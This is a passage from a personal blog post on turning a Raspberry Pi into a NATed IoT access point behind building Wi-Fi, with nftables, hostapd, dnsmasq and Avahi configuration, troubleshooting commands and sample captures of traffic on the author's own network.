<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>table inet filter <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  chain input <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    type filter hook input priority filter; policy accept;
</span></span><span style="display:flex;"><span>    ct state established,related accept
</span></span><span style="display:flex;"><span>    iif <span style="color:#e6db74">&#34;lo&#34;</span> accept
</span></span><span style="display:flex;"><span>    iif <span style="color:#e6db74">&#34;wlan0&#34;</span> accept
</span></span><span style="display:flex;"><span>    iif <span style="color:#e6db74">&#34;wlx00c0cab7ab29&#34;</span> accept
</span></span><span style="display:flex;"><span>    udp dport <span style="color:#ae81ff">5353</span> accept  <span style="color:#75715e"># mDNS</span>
</span></span><span style="display:flex;"><span>    counter drop
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  chain forward <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    type filter hook forward priority filter; policy accept;
</span></span><span style="display:flex;"><span>    ct state established,related accept
</span></span><span style="display:flex;"><span>    iif <span style="color:#e6db74">&#34;wlx00c0cab7ab29&#34;</span> oif <span style="color:#e6db74">&#34;wlan0&#34;</span> accept
</span></span><span style="display:flex;"><span>    iif <span style="color:#e6db74">&#34;wlan0&#34;</span> oif <span style="color:#e6db74">&#34;wlx00c0cab7ab29&#34;</span> accept
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  chain output <span style="color:#f92672">{</span> type filter hook output priority filter; policy accept; <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>table ip nat <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  chain postrouting <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    type nat hook postrouting priority srcnat; policy accept;
</span></span><span style="display:flex;"><span>    oif <span style="color:#e6db74">&#34;wlan0&#34;</span> masquerade
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><h3 id="4-mdns-across-subnets-avahi">4) mDNS across subnets (Avahi)</h3>
<p>The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>server<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>allow-interfaces<span style="color:#f92672">=</span>wlan0,wlx00c0cab7ab29
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>reflector<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>enable-reflector<span style="color:#f92672">=</span>yes
</span></span></code></pre></div><p>I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale</p>
<p>Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.</p>
<p>Now some random questions that I looked up in internet:</p>
<ol>
<li>How many devices can this really support?</li>
</ol>
<p>Short answer: a lot—for IoT.
Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.</p>
<p>If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.</p>
<ol start="2">
<li>What speeds should I expect?</li>
</ol>
<ul>
<li>
<p>LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2:
~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I&rsquo;m golden! ^^</p>
</li>
<li>
<p>Internet (IoT device → upstream via Pi):
If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.</p>
</li>
<li>
<p>Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.</p>
</li>
</ul>
<ol start="3">
<li>Why these choices?</li>
</ol>
<ul>
<li>
<p>2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.</p>
</li>
<li>
<p>WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.</p>
</li>
<li>
<p>20 MHz channel prevents older or power-saving devices from flaking out.</p>
</li>
<li>
<p>Avahi reflector avoids any changes to the building’s router and still lets discovery work.</p>
</li>
<li>
<p>NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.</p>
</li>
</ul>
<h2 id="troubleshooting">Troubleshooting</h2>
<ul>
<li>
<p><code>hostapd</code> <strong>masked/disabled</strong> →</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl unmask hostapd <span style="color:#f92672">&amp;&amp;</span> sudo systemctl enable --now hostapd
</span></span></code></pre></div></li>
<li>
<p><code>dnsmasq</code> can’t start because of <strong>port 53</strong> →<br>
set <code>port=0</code> in <code>/etc/dnsmasq.d/*.conf</code> and let systemd-resolved keep DNS.</p>
</li>
<li>
<p><strong>“Station does not support mandatory HT PHY”</strong> in <code>hostapd</code> logs →<br>
add <code>require_ht=0</code> (and keep <code>ieee80211n=1</code>) in your <code>hostapd.conf</code>.</p>
</li>
<li>
<p>AirPlay/HomeKit don’t show up across subnets →<br>
ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:</p>
<ul>
<li><code>/etc/avahi/avahi-daemon.conf</code> has:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>server<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>allow-interfaces<span style="color:#f92672">=</span>wlan0,wlx00c0cab7ab29
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>reflector<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>enable-reflector<span style="color:#f92672">=</span>yes
</span></span></code></pre></div></li>
<li>firewall allows:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>udp dport <span style="color:#ae81ff">5353</span> accept
</span></span></code></pre></div></li>
<li>
<p>Weak signal / flaky joins →<br>
use a short <strong>USB 3 extension</strong> to move the ALFA away from the Pi and cables;<br>
scan and switch to a cleaner <strong>2.4 GHz</strong> channel (1/6/11), keep width at <strong>20 MHz</strong>.</p>
</li>
<li>
<p>Clients connect but no internet →<br>
verify IP forward &amp; NAT:</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo sysctl net.ipv4.ip_forward
</span></span></code></pre></div><p>If it&rsquo;s 0, enable it permanently and reload</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;net.ipv4.ip_forward=1&#39;</span> | sudo tee /etc/sysctl.d/99-iot.conf
</span></span><span style="display:flex;"><span>sudo sysctl --system
</span></span></code></pre></div><p>Verify the nftables NAT rule exists (masquerade out via wlan0)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nft list ruleset | sed -n <span style="color:#e6db74">&#39;/table ip nat/,$p&#39;</span> | sed -n <span style="color:#e6db74">&#39;1,80p&#39;</span>
</span></span></code></pre></div><p>Add it if missing</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nft add table ip nat
</span></span><span style="display:flex;"><span>sudo nft <span style="color:#e6db74">&#39;add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }&#39;</span>
</span></span><span style="display:flex;"><span>sudo nft <span style="color:#e6db74">&#39;add rule ip nat postrouting oif &#34;wlan0&#34; masquerade&#39;</span>
</span></span></code></pre></div><p>Persist nftables (Ubuntu)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo sh -c <span style="color:#e6db74">&#39;nft list ruleset &gt; /etc/nftables.conf&#39;</span>
</span></span><span style="display:flex;"><span>sudo systemctl enable --now nftables
</span></span></code></pre></div><h2 id="quick-service-sanity-checks">Quick service sanity checks</h2>
<h3 id="hostapd-ap">hostapd (AP)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl status hostapd --no-pager
</span></span><span style="display:flex;"><span>sudo journalctl -u hostapd -n <span style="color:#ae81ff">60</span> --no-pager
</span></span><span style="display:flex;"><span>iw dev wlx00c0cab7ab29 info
</span></span><span style="display:flex;"><span>iw dev wlx00c0cab7ab29 station dump
</span></span></code></pre></div><h3 id="dnsmasq-dhcp-on-iot-side">dnsmasq (DHCP on IoT side)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl status dnsmasq --no-pager
</span></span><span style="display:flex;"><span>sudo journalctl -u dnsmasq -n <span style="color:#ae81ff">80</span> --no-pager
</span></span><span style="display:flex;"><span>grep -E <span style="color:#e6db74">&#39;interface=|dhcp-range&#39;</span> /etc/dnsmasq.d/*.conf <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span>tail -n <span style="color:#ae81ff">50</span> /var/lib/misc/dnsmasq.leases
</span></span></code></pre></div><h3 id="avahi-mdns-reflector">Avahi (mDNS reflector)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>grep -E <span style="color:#e6db74">&#39;enable-reflector|allow-interfaces&#39;</span> /etc/avahi/avahi-daemon.conf
</span></span><span style="display:flex;"><span>sudo systemctl status avahi-daemon --no-pager
</span></span><span style="display:flex;"><span>sudo journalctl -u avahi-daemon -n <span style="color:#ae81ff">60</span> --no-pager
</span></span></code></pre></div><h2 id="basic-connectivity-tests-from-a-client-on-iot_hub">Basic connectivity tests from a client on IoT_hub</h2>
<h3 id="got-dhcp">got DHCP?</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ip addr show
</span></span><span style="display:flex;"><span>ip route
</span></span><span style="display:flex;"><span>cat /etc/resolv.conf
</span></span></code></pre></div><h3 id="can-you-reach-the-pi-and-the-internet">can you reach the Pi and the internet?</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ping -c <span style="color:#ae81ff">3</span> 192.168.50.1
</span></span><span style="display:flex;"><span>ping -c <span style="color:#ae81ff">3</span> 1.1.1.1
</span></span><span style="display:flex;"><span>ping -c <span style="color:#ae81ff">3</span> google.com
</span></span></code></pre></div><h3 id="dns-works-end-to-end">DNS works end-to-end?</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>dig +short _airplay._tcp.local @224.0.0.251 -p <span style="color:#ae81ff">5353</span>
</span></span></code></pre></div><p>(Or use a Bonjour browser app to confirm the HomePod is discoverable.)</p>
<h2 id="if-airplayhomekit-discovery-is-flaky-across-subnets">If AirPlay/HomeKit discovery is flaky across subnets</h2>
<h3 id="make-sure-mdns-is-allowed-both-directions-on-the-pi">make sure mDNS is allowed both directions on the Pi</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo nft add rule inet filter input udp dport <span style="color:#ae81ff">5353</span> accept
</span></span><span style="display:flex;"><span>sudo nft add rule inet filter forward udp dport <span style="color:#ae81ff">5353</span> accept
</span></span><span style="display:flex;"><span>sudo sh -c <span style="color:#e6db74">&#39;nft list ruleset &gt; /etc/nftables.conf&#39;</span>
</span></span></code></pre></div><h3 id="restart-avahi-cleanly-and-re-announce">restart Avahi cleanly and re-announce</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl restart avahi-daemon
</span></span><span style="display:flex;"><span>sudo journalctl -u avahi-daemon -n <span style="color:#ae81ff">40</span> --no-pager
</span></span></code></pre></div><h3 id="from-the-pi-watch-mdns-traffic-on-both-sides-you-should-see-queriesanswers">from the Pi, watch mDNS traffic on both sides (you should see queries/answers)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo tcpdump -ni wlx00c0cab7ab29 udp port <span style="color:#ae81ff">5353</span> -vvv
</span></span></code></pre></div><p>(in another terminal:)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo tcpdump -ni wlan0 udp port <span style="color:#ae81ff">5353</span> -vvv
</span></span></code></pre></div><h2 id="throughput--airtime-sanity-optional">Throughput + airtime sanity (optional)</h2>
<h3 id="simple-iperf3-install-on-pi-and-a-client">simple iperf3 (install on Pi and a client)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get update <span style="color:#f92672">&amp;&amp;</span> sudo apt-get install -y iperf3
</span></span></code></pre></div><p>(on the Pi:) <code>iperf3 -s</code>
(on a client:) <code>iperf3 -c 192.168.50.1 -P 3 -t 10</code></p>
<h3 id="check-channel-utilizationinterference-from-pi">check channel utilization/interference (from Pi)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo iw dev wlx00c0cab7ab29 survey dump | sed -n <span style="color:#e6db74">&#39;1,200p&#39;</span>
</span></span></code></pre></div><p>(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)</p>
<h2 id="scaling-tips-lots-of-tiny-iot-devices">Scaling tips (lots of tiny IoT devices)</h2>
<h3 id="hostapd-tweaks-add-to-hostapdconf-then-restart">hostapd tweaks (add to hostapd.conf, then restart)</h3>
<p>(reduce management overhead slightly; keep conservative for compatibility)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>beacon_int<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span>
</span></span><span style="display:flex;"><span>dtim_period<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>wmm_enabled<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ap_isolate<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>max_num_sta<span style="color:#f92672">=</span><span style="color:#ae81ff">256</span>      <span style="color:#75715e"># logical cap; real limit is airtime/driver</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl restart hostapd
</span></span></code></pre></div><h3 id="if-some-esplow-power-clients-are-sticky-or-nap-too-hard">if some ESP/low-power clients are sticky or nap too hard:</h3>
<p>(device-side) disable aggressive power saving if supported<br>
(AP-side) keep channel width at 20 MHz and <code>require_ht=0</code> for legacy clients</p>
<h2 id="clients-connect-but-no-internet-quick-checklist">“Clients connect but no internet” quick checklist</h2>
<h3 id="pi-has-a-default-route-via-upstream">Pi has a default route via upstream?</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ip route | grep default
</span></span></code></pre></div><h3 id="nat-counters-are-increasing-when-clients-surf">NAT counters are increasing when clients surf?</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nft list chain ip nat postrouting -a
</span></span></code></pre></div><h3 id="connections-tracked">connections tracked?</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo conntrack -L -o extended | head -n <span style="color:#ae81ff">40</span>
</span></span></code></pre></div><h3 id="last-resort-bounce-the-pieces">last resort: bounce the pieces</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl restart hostapd dnsmasq avahi-daemon
</span></span><span style="display:flex;"><span>sudo systemctl restart NetworkManager <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span>sudo systemctl restart nftables
</span></span></code></pre></div><h2 id="network-traffic-embedded-from-captures">Network Traffic (embedded from captures)</h2>
<p>For fun, and curiousity!</p>
<h3 id="1-dhcp-leases-who-joined-the-iot-network">1) DHCP leases (who joined the IoT network)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#ae81ff">1763936213</span> 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935691</span> 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935629</span> e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763936452</span> ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935618</span> e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935618</span> 48:e1:e9:bc:f6:91 192.168.50.131 * *
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935618</span> 48:e1:e9:bd:08:0d 192.168.50.118 * *
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935615</span> 48:e1:e9:bd:0b:a7 192.168.50.233 * *
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935618</span> 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1763935607</span> cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
</span></span></code></pre></div><h3 id="2-top-talkers-by-bytes-hosts-table">2) Top talkers by bytes (hosts table)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>192.168.50.233,7346
</span></span><span style="display:flex;"><span>192.168.50.118,7216
</span></span><span style="display:flex;"><span>192.168.50.131,7216
</span></span><span style="display:flex;"><span>17.253.53.203,7040
</span></span><span style="display:flex;"><span>54.217.122.41,6271
</span></span><span style="display:flex;"><span>192.168.50.216,5392
</span></span><span style="display:flex;"><span>192.168.50.104,3058
</span></span><span style="display:flex;"><span>192.168.50.189,2278
</span></span><span style="display:flex;"><span>17.242.218.132,1802
</span></span><span style="display:flex;"><span>192.168.50.134,1750
</span></span><span style="display:flex;"><span>192.168.50.196,1653
</span></span><span style="display:flex;"><span>3.122.71.119,639
</span></span><span style="display:flex;"><span>18.196.19.65,570
</span></span><span style="display:flex;"><span>161.117.178.131,391
</span></span><span style="display:flex;"><span>17.253.53.201,148
</span></span><span style="display:flex;"><span>17.57.146.25,90
</span></span><span style="display:flex;"><span>10.172.72.196,66
</span></span><span style="display:flex;"><span>224.0.0.251,0
</span></span><span style="display:flex;"><span>224.0.0.2,0
</span></span><span style="display:flex;"><span>255.255.255.255,0
</span></span></code></pre></div><h3 id="3-heaviest-flows-src-dst-proto-dport-bytes">3) Heaviest flows (src, dst, proto, dport, bytes)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>192.168.50.202,192.168.50.131,TCP,59903,402
</span></span><span style="display:flex;"><span>192.168.50.202,192.168.50.118,TCP,59807,402
</span></span><span style="display:flex;"><span>161.117.178.131,192.168.50.134,TCP,58246,391
</span></span><span style="display:flex;"><span>192.168.50.216,192.168.50.202,UDP,5353,336
</span></span><span style="display:flex;"><span>192.168.50.202,192.168.50.189,UDP,5353,312
</span></span><span style="display:flex;"><span>192.168.50.202,192.168.50.196,UDP,5353,234
</span></span><span style="display:flex;"><span>17.253.53.203,192.168.50.202,TCP,64726,222
</span></span><span style="display:flex;"><span>192.168.50.216,17.57.146.25,TCP,5223,172
</span></span><span style="display:flex;"><span>192.168.50.216,192.168.50.233,UDP,5353,162
</span></span><span style="display:flex;"><span>192.168.50.202,192.168.50.104,UDP,5353,156
</span></span><span style="display:flex;"><span>17.253.53.201,192.168.50.202,TCP,64727,148
</span></span><span style="display:flex;"><span>192.168.50.202,17.253.53.201,TCP,443,132
</span></span><span style="display:flex;"><span>192.168.50.216,224.0.0.251,IP,0,92
</span></span><span style="display:flex;"><span>192.168.50.216,224.0.0.2,IP,0,92
</span></span><span style="display:flex;"><span>17.57.146.25,192.168.50.216,TCP,64544,90
</span></span><span style="display:flex;"><span>192.168.50.216,192.168.50.118,UDP,5353,75
</span></span><span style="display:flex;"><span>192.168.50.216,192.168.50.131,UDP,5353,75
</span></span><span style="display:flex;"><span>192.168.50.216,192.168.50.134,UDP,5353,75
</span></span><span style="display:flex;"><span>192.168.50.216,10.172.72.196,TCP,59593,70
</span></span><span style="display:flex;"><span>10.172.72.196,192.168.50.216,TCP,51638,66
</span></span></code></pre></div><h3 id="4-conntrack-snapshot-active-connections-inventory">4) Conntrack snapshot (active connections inventory)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">48</span> TIME_WAIT src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>185.125.190.39 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">55012</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span> src<span style="color:#f92672">=</span>185.125.190.39 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">55012</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">100</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>185.40.234.113 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">3478</span> src<span style="color:#f92672">=</span>185.40.234.113 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">3478</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431665</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.216 dst<span style="color:#f92672">=</span>17.57.146.25 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">64544</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5223</span> src<span style="color:#f92672">=</span>17.57.146.25 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5223</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">64544</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">27</span> src<span style="color:#f92672">=</span>10.172.72.205 dst<span style="color:#f92672">=</span>224.0.0.251 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>10.172.72.205 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">17</span> src<span style="color:#f92672">=</span>10.172.72.196 dst<span style="color:#f92672">=</span>10.172.79.255 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">137</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">137</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>10.172.79.255 dst<span style="color:#f92672">=</span>10.172.72.196 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">137</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">137</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
